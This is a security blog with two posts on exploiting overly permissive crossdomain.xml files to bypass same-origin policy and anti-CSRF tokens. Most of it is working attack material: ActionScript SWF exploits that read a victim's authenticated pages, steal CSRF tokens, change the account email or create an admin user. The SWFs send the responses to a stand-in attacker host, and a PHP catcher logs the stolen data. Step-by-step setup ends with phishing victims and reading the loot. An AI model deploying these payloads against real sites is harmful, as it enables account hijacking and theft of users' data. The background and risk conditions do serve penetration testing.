Friday, March 28, 2014

Exploiting insecure crossdomain policies to bypass anti-CSRF tokens

In my last post, I mentioned that if a site hosts an insecure crossdomain.xml file, you can exploit that flaw to bypass same origin policy and among other things, you can read anti-CSRF tokens.  Because your Flash object can read the anti-CSRF token, it can extract the token from the response and use it in future requests.  In fact, this is almost identical to how you can bypass CSRF tokens with XSS.

I recently came across a popular website that met these criteria, and I created a POC to send to the security team.  The site protected itself against CSRF using anti-CSRF tokens, but they had a wide open crossdomain.xml file.  I'll post the details later, but I wanted to drop the template here, in the event anyone wants to give it a try:

// Original POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// Modified to bypass antiCSRF tokens: Seth Art (sethsec@gmail.com)
// BypassCSRFchangeEmailAddress.as

package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLLoader;

 public class BypassCSRFchangeEmailAddress extends Sprite {
  public function BypassCSRFchangeEmailAddress() {
   // Target URL from where the data is to be retrieved
   var readFrom:String = "https://www.secret-site.com/account/edit";
   var readRequest:URLRequest = new URLRequest(readFrom);
   var getLoader:URLLoader = new URLLoader();
   getLoader.addEventListener(Event.COMPLETE, eventHandler);
   try {
    getLoader.load(readRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }


  private function eventHandler(event:Event):void {
   // This assigns the reponse from the first 
   // request to "reponse". The antiCSRF token is
   // somwhere in this reponse
   var response:String = event.target.data;

   // This line looks for the line in the response 
   //that contains the CSRF token
   var CSRF:Array = response.match(/CSRFToken.*/);

   // This line extracts the value of the CSRF token, 
   // and assigns it to "token"
   var token:String = CSRF[0].split("\"")[2];

   // These next two lines create the prefix and the 
   // suffix for the POST request
   var prefix:String = "CSRFToken="
   var suffix:String = "&first_name=CSRF&last_name=CSRF&email=sethsec%40gmail.com"

   // This section sets up a new URLRequest object and
   // sets the method to post   
   var sendTo:String = "https://www.secret-site.com/account/edit/"
   var sendRequest:URLRequest = new URLRequest(sendTo);
   sendRequest.method = URLRequestMethod.POST;

   // This next line sets the data portion of the POST 
                        // request to the "prefix" + "token" + "suffix"
   sendRequest.data = prefix.concat(token,suffix)
   
   // Time to create the URLLoader object and send the 
   // POST request containing the CSRF token
   var sendLoader:URLLoader = new URLLoader();
   try {
    sendLoader.load(sendRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }
 }
}

When the victim loads the the compiled Flash object, Flash object does 3 things:

1) The SWF sends a request from the victim's browser to a page that returns the CSRF token
2) The SWF grabs the CSRF token from the returned page
3) The SWF sends a second request, using the stolen CSRF token, that changes the email address on the account to the attackers email address

At that point the attacker just needs to fill out the forget password feature using their own email address, and they will be able to hijack the account.


Friday, March 14, 2014

Exploiting misconfigured crossdomain.xml files

An overly permissive crossdomain.xml file on a domain that serves sensitive content is a major security risk. It exposes the domain hosting the improperly configured crossomain.xml file to information disclosure and request forgery. Attackers cannot only forge requests, they can read responses. This means the attacker can retrieve any information the authenticated user has access to, including account information, documents and files, and anti-CSRF tokens if they are used.

History

This is an old vulnerability. How old? 8 years old. Here is very rough outline of prior research/public discussion:

2006: Chris Shiflett, Julien Couvreur, and Jeremiah Grossman started talking about this publicly.
2008: Jeremiah Grossman revisited the issue.
2010: Erlend Ofedel wrote about it, and  Mike Bailey gave talk at Blackhat DC.
2011: Teams from FORTH-ICS, SAP Research, and UC San Diego all released research directly related to crossdomain.xml and the security risks that result from misconfiguration.

While there have been people in the know about this vulnerability since 2006, and some really great research published in 2011, this vulnerability has never really gained much traction.

Here are some Google search results, as of March 2014:

Search TermResult
“crossdomain.xml exploit”34 unique hits
“crossdomain.xml attack”26 unique hits
“crossdomain.xml vulnerability”18 unique hits

Six months ago, I ran across my first extremely permissive crossdomain.xml file, but I was left with two questions:
  • How do I determine if there is really any risk to this particular web application? 
  • If there is risk, how can I demonstrate this with a working exploit? 

The answer to the first question can be found in the articles and papers that I linked to above. The answer to the second question, however, was not very accessible until recently. 

In August 2013, Gursev Kalra released an excellent blog post and uploaded his sample ActionScript exploit code to GitHub. Thanks to Gursev, I finally had the information I needed to be able to put all the pieces together and exploit this vulnerability.

The Vulnerability

As a general rule, if the following three conditions are met, there is problem:
  1. A crossdomain.xml file is hosted at the root of the host, for example: www.secret-site.com/crossdomain.xml.
  2. The crossdomain.xml is overly permissive.
  3. There is either sensitive information on www.secret-site.com or there are sensitive actions that can be performed on www.secret-site.com.

If #1 and #2 are met, but www.secret-site.com does not contain any sensitive information, or does not include the ability to perform any sensitive actions, there is no risk to having a wide open crossdomain.xml file. There is no point in making a victim make a request to a page for you if the information is all public and you can see everything anyway.

However, if there are sensitive actions that can be performed or information that can be stolen, and www.secret-site.com has an overly permissive crossdomain.xml file, the application at www.secret-site.com is essentially opening the door to any malicious SWF loaded from anywhere on the web. For example, a SWF loaded from www.malicious-site.com is now able to override/bypass Same Origin Policy and gain access to everything that the authorized user of www.secret-site.com has access to. To say this in a different way, the overly permissive crossdomain.xml file allows Flash to do things that even JavaScript is not allowed to do, mainly accessing cross domain resources.

Note: The most permissive configuration option is the following line: <allow-access-from domain="*">. That is not the only overly permissive setting. Check out the reference papers listed above to find more.

Note: API sites that require a pre-shared key are an exception to the conditions listed above.  In this case, even when all three conditions are met, if www.secret-site.com requires an API key or something similar to access the content, there is no risk. The attacker has no way of knowing the pre-shared secret API key, and therefore they can not forge a request with all of the required information to exploit the permissive crossdomain.xml.

Note: In my examples, I use www as the hostname (www.secret-site.com).  The security implications of the crossdomain.xml are specific to the fully qualified domain name, including hostname and/or subdomain if they are present.  For example, if the https://www.secret-site.com/crossdomain.xml contains <allow-access-from domain="*">, but all of the sensitive transactions happen on https://secure.secret-site.com, there is no risk.  Of course, if https://secure.secret-site.com/crossdomain.xml exists and it also has an overly permissive policy, then we are back in business.  

Exploitation

*****
Update: If you don't want to follow the step by step below, I have automated it.
Check it out here: https://github.com/sethsec/crossdomain-exploitation-framework
Demo here: https://www.youtube.com/watch?v=v5DIcAtnKRU#t=23m59s

At first I made a bash script that just automated what you see below, but after that I switched it to python and now you don't even need to set up apache or anything like that. The python script will set everything up, help you configure your payload, and start a simple, custom, web server for you:
*****

And now the fun part. For the demo, I’m using Kali Linux. If you want to take advantage of the vulnerability described above, you need to modify and compile a SWF and host it on a web server.  The steps below show you how to do that, from start to finish.

1) Install Adobe Flex:

 apt-get install openjdk-6-jdk
 mkdir /opt/flex 
 cd /opt/flex/ 
 wget http://download.macromedia.com/pub/flex/sdk/flex_sdk_4.6.zip
 unzip flex_sdk_4.6.zip 
 chmod -R a+rx /opt/flex/
 echo 'export PATH=/opt/flex/bin:$PATH' >> ~/.bashrc
 chmod 755 bin/mxmlc

2) Download Gursev’s exploit code (the .as and the .html files) from GitHub or copy/paste from his blog. In either case, you want to save the HTML into the web root (/var/www/crossdomain/xdx.html), and the AS file in a working folder outside of your web root (~/crossdomain/XDomainXploit.as)


 mkdir /var/www/crossdomain
 mkdir ~/crossdomain
 cd ~
 git clone https://github.com/gursev/flash-xdomain-xploit.git
 cp flash-xdomain-xploit/xdx.html /var/www/crossdomain/
 cp flash-xdomain-xploit/XDomainXploit.as ~/crossdomain/
 vi ~/crossdomain/XDomainXploit.as

If for some reason you don't have the git client or the git command in the previous box doesn't work, you can use wget:

 cd /var/www/crossdomain
 wget https://raw.github.com/gursev/flash-xdomain-xploit/master/xdx.html  
 cd ~/crossdomain
 wget https://raw.github.com/gursev/flash-xdomain-xploit/master/XDomainXploit.as
 vi ~/crossdomain/XDomainXploit.as

3) Modify the ActionScript file to fit your needs. To make a basic GET request, Gursev's comments are self explanatory. You just replace the victim URL and the attacker URL.  My changes are highlighted in yellow.

// POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// XDomainXploit.as

package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLLoader;

 public class XDomainXploit extends Sprite {
  public function XDomainXploit() {
   // Target URL from where the data is to be retrieved
   var readFrom:String = "http://www.secret-site.com/account/info";
   var readRequest:URLRequest = new URLRequest(readFrom);
   var getLoader:URLLoader = new URLLoader();
   getLoader.addEventListener(Event.COMPLETE, eventHandler);
   try {
    getLoader.load(readRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }

  private function eventHandler(event:Event):void {
   // URL to which retrieved data is to be sent
   var sendTo:String = "http://malicious-site.com/catcher.php"
   var sendRequest:URLRequest = new URLRequest(sendTo);
   sendRequest.method = URLRequestMethod.POST;
   sendRequest.data = event.target.data;
   var sendLoader:URLLoader = new URLLoader();
   try {
    sendLoader.load(sendRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }
 }
}

If you want to have the SWF make a POST request, of if you need to set a HTTP header, you can use my example below:

// POC Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// POC Modified to send POSTs and append HTTP headers: Seth Art
// XDomainXploit.as

package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLLoader;
 import flash.net.URLRequestHeader;
 public class XDomainXploit3 extends Sprite {
  public function XDomainXploit3() {
   // Target URL from where the data is to be retrieved
   var readFrom:String = "https://www.secret-site.com/admin/add";
   var header:URLRequestHeader = new URLRequestHeader("Content-Type", "text/plain; charset=UTF-8");
   var readRequest:URLRequest = new URLRequest(readFrom);
   readRequest.method = URLRequestMethod.POST
   readRequest.data = "{\"name\":\"CSRF-Admin\",\"Group\":\"admin\",\"password\":\"password\",\"confirmPassword\":\"password\"}";
   readRequest.requestHeaders.push(header);
   var getLoader:URLLoader = new URLLoader();
   getLoader.addEventListener(Event.COMPLETE, eventHandler);
   try {
    getLoader.load(readRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }

  private function eventHandler(event:Event):void {
   // URL to which retrieved data is to be sent
   var sendTo:String = "http://www.malicious-site.com/crossdomain/catcher.php"
   var sendRequest:URLRequest = new URLRequest(sendTo);
   sendRequest.method = URLRequestMethod.POST;
   sendRequest.data = event.target.data;
   var sendLoader:URLLoader = new URLLoader();
   try {
    sendLoader.load(sendRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }
 }
}

4) Compile the ActionScript with xmmlc:

 /opt/flex/bin/mxmlc ~/crossdomain/XDomainXploit.as
5) Move the compiled SWF somewhere inside your web root

mv ~/crossdomain/XDomainXploit.swf /var/www/crossdomain

6) Create and save the catcher file. This php file takes the entire data portion of the incoming HTTP message and writes it to a file in /tmp. You can get a lot fancier with this, such as creating a separate file per victim, or by parsing the file within php and only writing the relevant information to disk.

vi /var/www/catcher.php

<?php

$data = file_get_contents("php://input");
$ret = file_put_contents('/tmp/thanks_for_sharing.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
 die('Error writing to file');
}
else { 
 echo "$ret bytes written to file";
}
?>

7) Install PHP if it is not already installed:

 apt-get install php5

8) Set your web server to support SSL.

*This step is optional, but if your flash object is communicating with a HTTPS site, and the secure="false" attribute is not set, your flash object needs to have been loaded from a HTTPS site.

The two lines below show you how to make a self-signed cert. For a more realistic POC, you would want to purchase a valid SSL certificate so your victim user does not get any SSL errors.

 make-ssl-cert generate-default-snakeoil --force-overwrite
 a2enmod ssl
 a2ensite default-ssl

9) Start [or restart] your web server

 /etc/init.d/apache2 restart

10) Phish your victim to your site, www.malicious-site.com/crossdomain/xdx.html

11) Hope the victim is currently logged in to the www.secret-site.com

12) Collect and analyze your stolen data:

 cat /tmp/thanks_for_sharing.txt


Related Work: